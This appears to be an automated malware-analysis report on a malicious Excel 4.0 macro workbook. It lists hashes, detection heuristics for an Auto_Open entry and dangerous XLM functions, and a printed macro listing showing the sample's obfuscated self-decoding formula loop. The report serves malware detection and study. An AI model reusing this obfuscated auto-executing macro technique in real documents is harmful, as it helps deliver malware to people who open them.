Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c938c852a2e365fc…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:07 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 90ece96e696afdf22d68aebc1723f7a0 SHA-1: a300a32ef242a69137a737c62d2bf7ac29bab1e1 SHA-256: c938c852a2e365fc7354f2c567cc0dc0fcb9b2819c5b40fb133242b87960708f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6511 bytes
SHA-256: 7b9ac961e00e25f9bb3a9a4185343ac236c103a27a4301ee6e09e30d3cacdca4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  klkbYgnS
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H163 
' 0018     24 LABEL : Cell Value, String Constant - bKPxJlCdR len=0 
' 0018     21 LABEL : Cell Value, String Constant - dXyRiG len=0 
' 0018     27 LABEL : Cell Value, String Constant - EsbGzlyHWTWj len=0 
' 0018     23 LABEL : Cell Value, String Constant - eYwdOlag len=0 
' 0018     26 LABEL : Cell Value, String Constant - FdhqycMogFe len=0 
' 0018     22 LABEL : Cell Value, String Constant - hTnmMFU len=0 
' 0018     21 LABEL : Cell Value, String Constant - ieUFnx len=0 
' 0018     26 LABEL : Cell Value, String Constant - JUWEFPOKqAD len=0 
' 0018     24 LABEL : Cell Value, String Constant - MjZDTPJOm len=0 
' 0018     23 LABEL : Cell Value, String Constant - ozIeeAXI len=0 
' 0018     20 LABEL : Cell Value, String Constant - PBexa len=0 
' 0018     21 LABEL : Cell Value, String Constant - pQbHtk len=0 
' 0018     23 LABEL : Cell Value, String Constant - QyukyfLf len=0 
' 0018     21 LABEL : Cell Value, String Constant - RLTLqr len=0 
' 0018     21 LABEL : Cell Value, String Constant - tjKnxX len=0 
' 0018     20 LABEL : Cell Value, String Constant - tPYDR len=0 
' 0018     22 LABEL : Cell Value, String Constant - TSeVAsR len=0 
' 0018     27 LABEL : Cell Value, String Constant - xlZxHjukzfrJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - YrCBrNdituJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - YTsZUp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  klkbYgnS,H79,"SET.NAME("pQbHtk",VALUE("0"))",""
'  klkbYgnS,H84,"SET.NAME("EsbGzlyHWTWj",pQbHtk)",""
'  klkbYgnS,H88,"SET.NAME("bKPxJlCdR",pQbHtk)",""
'  klkbYgnS,H93,"SET.NAME("QyukyfLf",COUNTA(PBexa))",""
'  klkbYgnS,H96,"SET.NAME("JUWEFPOKqAD",COUNTA(YrCBrNdituJ))",""
'  klkbYgnS,H98,[],""
'  klkbYgnS,H100,"SET.NAME("TSeVAsR","")",""
'  klkbYgnS,H105,"EsbGzlyHWTWj",""
'  klkbYgnS,H107,"SET.NAME("YTsZUp",HLOOKUP("*",PBexa,EsbGzlyHWTWj,FALSE))",""
'  klkbYgnS,H112,"ozIeeAXI",""
'  klkbYgnS,H114,"SET.NAME("hTnmMFU",pQbHtk)",""
'  klkbYgnS,H119,[],""
'  klkbYgnS,H121,"hTnmMFU",""
'  klkbYgnS,H124,"eYwdOlag",""
'  klkbYgnS,H128,"RLTLqr",""
'  klkbYgnS,H130,"tjKnxX",""
'  klkbYgnS,H132,"SET.NAME("MjZDTPJOm",VALUE(HLOOKUP("*",YrCBrNdituJ,tjKnxX,FALSE)))",""
'  klkbYgnS,H134,"xlZxHjukzfrJ",""
'  klkbYgnS,H138,"TSeVAsR",""
'  klkbYgnS,H140,"bKPxJlCdR",""
'  klkbYgnS,H142,NEXT(),""
'  klkbYgnS,H146,"tPYDR",""
'  klkbYgnS,H148,"SET.NAME("f",INT(T(FORMULA(T(TSeVAsR)&"",""&T(tPYDR)))))",""
'  klkbYgnS,H151,"FdhqycMogFe",""
'  klkbYgnS,H155,NEXT(),""
'  klkbYgnS,H158,RETURN(),""
'  klkbYgnS,H183,"SET.NAME("dXyRiG",H79)",""
'  klkbYgnS,H188,"PBexa",""
'  klkbYgnS,H192,"SET.NAME("YrCBrNdituJ",R43C11)",""
'  klkbYgnS,H194,"SET.NAME("FdhqycMogFe",199)",""
'  klkbYgnS,H196,"SET.NAME("ieUFnx",8)",""
'  klkbYgnS,H198,dXyRiG(),""
'  klkbYgnS,H199,HALT(),""

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